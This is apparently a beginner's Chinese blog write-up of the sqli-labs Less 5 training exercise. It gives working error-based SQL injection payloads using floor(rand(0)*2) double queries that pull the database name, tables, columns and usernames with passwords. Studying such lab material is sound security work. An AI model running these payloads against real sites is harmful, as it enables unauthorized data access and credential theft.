• 小白注入学习:sqli-labs--less5学习记录


    Less5 字符型双注入:floor()函数报错注入

    1.判断是否为注入点以及注入类型
    (1) ?id=1' 页面显示错误,数据库报错
    ?id=1' and 1=1--+ 页面正常显示
    ?id=1' and 1=2--+ 页面显示错误
    (2)经过这些测试基本可以确定这里存在注入点但是与之前不同的是,Less5只显示You are in...和报错信息而不显示其他的信息,不能通过显错式注入。
    (3)因为页面会显示数据库的报错信息,这里可以通过报错式进行注入。这里我用floor()函数报错注入。
    2.获取数据库名

    ?id=-1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2))as a from information_schema.tables group by a--+

    dbname


    3.获取表名

    ?id=-1' union select 1,count(*),concat_ws('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+

    tbname


    4.获取列名

    ?id=-1' union select 1,count(*),concat_ws('~',(select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand(0)*2)) as a from information_schema.tables group by a--+

    columns


    5.获取字段内容

    ?id=-1' union select 1,count(*),concat_ws('~',(select concat_ws(':',username,password)from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+

    upwd


    PS:小白总结

    (1)floor报错原理分析(附上一篇讲解精细的博客)
    https://www.cnblogs.com/litlife/p/8472323.html
    (2) concat_ws()函数是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
    (3) 因为报错显示只允许显示一行内容,常在查询后跟上limit()函数,一条一条的查询数据
    limit(m,n) 表示从m+1开始取n条数据
    limit 1,1表示从第二条数据开始取一条数据,limit n表示从第0条数据开始读取n条数据。
    (4)Less5主要根据其页面有报错信息来选择报错注入。floor()报错注入,在payload中有两次select查询语句,也就是双查询注入。

    小白注入学习记录!!

  • 相关阅读:
    java 多线程学习(一)
    解决安卓微信浏览器刷新问题
    sublime text3 配置tab为4个空格
    React 错误Each child in an array or iterator should have a unique “key” prop
    git filename to long问题解决
    JS获取URL参数 方法
    CSS超出2行省略号
    JS判断是否为安卓orIOS
    获取移动设备真实宽高
    微信分享朋友圈监听(PHP)
  • 原文地址:https://www.cnblogs.com/ersuani/p/sqlilab_less5.html
Copyright © 2020-2023  润新知